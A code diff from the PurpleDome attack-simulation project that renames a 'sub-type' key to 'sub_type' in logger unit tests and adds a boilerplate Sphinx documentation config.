self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["plugin_name"], attack_name) self.assertEqual(data[0]["plugin_name"], attack_name)
@ -200,7 +200,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack") self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "attack_plugin") self.assertEqual(data[0]["sub_type"], "attack_plugin")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["plugin_name"], attack_name) self.assertEqual(data[0]["plugin_name"], attack_name)
@ -219,7 +219,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "dropping_file") self.assertEqual(data[0]["type"], "dropping_file")
self.assertEqual(data[0]["sub-type"], "by PurpleDome") self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["file_name"], file_name) self.assertEqual(data[0]["file_name"], file_name)
@ -237,7 +237,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "dropping_file") self.assertEqual(data[0]["type"], "dropping_file")
self.assertEqual(data[0]["sub-type"], "by PurpleDome") self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["file_name"], file_name) self.assertEqual(data[0]["file_name"], file_name)
@ -255,7 +255,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "execute_payload") self.assertEqual(data[0]["type"], "execute_payload")
self.assertEqual(data[0]["sub-type"], "by PurpleDome") self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["command"], command) self.assertEqual(data[0]["command"], command)
@ -273,7 +273,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict() data = al.get_dict()
self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "execute_payload") self.assertEqual(data[0]["type"], "execute_payload")
self.assertEqual(data[0]["sub-type"], "by PurpleDome") self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["command"], command) self.assertEqual(data[0]["command"], command)

@ -0,0 +1,46 @@
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
# import os
# import sys
# -- Project information -----------------------------------------------------
project = 'PurpleDome Simulation'
copyright = '2021, Avast'
author = 'Thorsten Sick'
# -- General configuration ---------------------------------------------------
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This pattern also affects html_static_path and html_extra_path.
exclude_patterns = []
# -- Options for HTML output -------------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'haiku'
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
Loading…
Cancel
Save